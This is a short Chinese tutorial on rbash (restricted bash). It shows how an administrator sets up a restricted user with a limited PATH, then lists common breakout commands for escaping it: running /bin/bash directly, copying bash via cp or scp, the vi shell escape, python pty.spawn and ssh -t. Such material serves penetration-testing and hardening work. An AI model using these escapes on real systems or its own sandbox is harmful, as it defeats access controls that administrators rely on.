简介
rbash
是 “restricted bash” 的缩写,指的是一种受限的 Bash shell。它是一种特别的 Bash shell 变体,旨在限制用户在终端中的某些操作,增加系统的安全性。使用rbash
的主要目的是为了限制用户的能力,防止他们执行某些潜在的危险命令。rbash
限制用户只能运行在$PATH
环境变量中定义的程序
设置rbash
# 创建一个用户
sudo adduser test
# 修改用户默认shell为rbash
sudo vim /etc/passwd
# 创建一个目录,只放入用户允许运行的命令。
mkdir /home/test/bin
ln -s /bin/ls /home/test/bin/ls
ln -s /bin/pwd /home/test/bin/pwd
ln -s /bin/clear /home/test/bin/clear
# 修改用户的 `.bashrc` 或 `.profile` 文件,设置 PATH 只指向 `/home/test/bin`:
PATH=/home/test/bin
export PATH
验证是否设置成功:下面这是成功的结果
绕过方式
首先做信息收集:
- 检查可用命令
- 可用操作符
- 检查可用的编程语言
常用绕过方式
/bin/bash直接绕过
# 如果/允许的情况,就能直接绕过了
/bin/bash
cp/scp 绕过
# 目标地址,一般用户限制终端为rbash,还是会允许一些命令存在在用户家目录下,目标地址为 允许命令存放目录
cp /bin/bash bin/
scp username@ip:/bin/bash bin/
vi/vim绕过
# 执行vi 或vim 进入编辑器
vi / vim
:shell=/bin/bash
shell
python绕过
python -c "import pty;pty.spawn('/bin/bash')"
ssh连接绕过
ssh username@IP -t "/bin/sh" or "/bin/bash"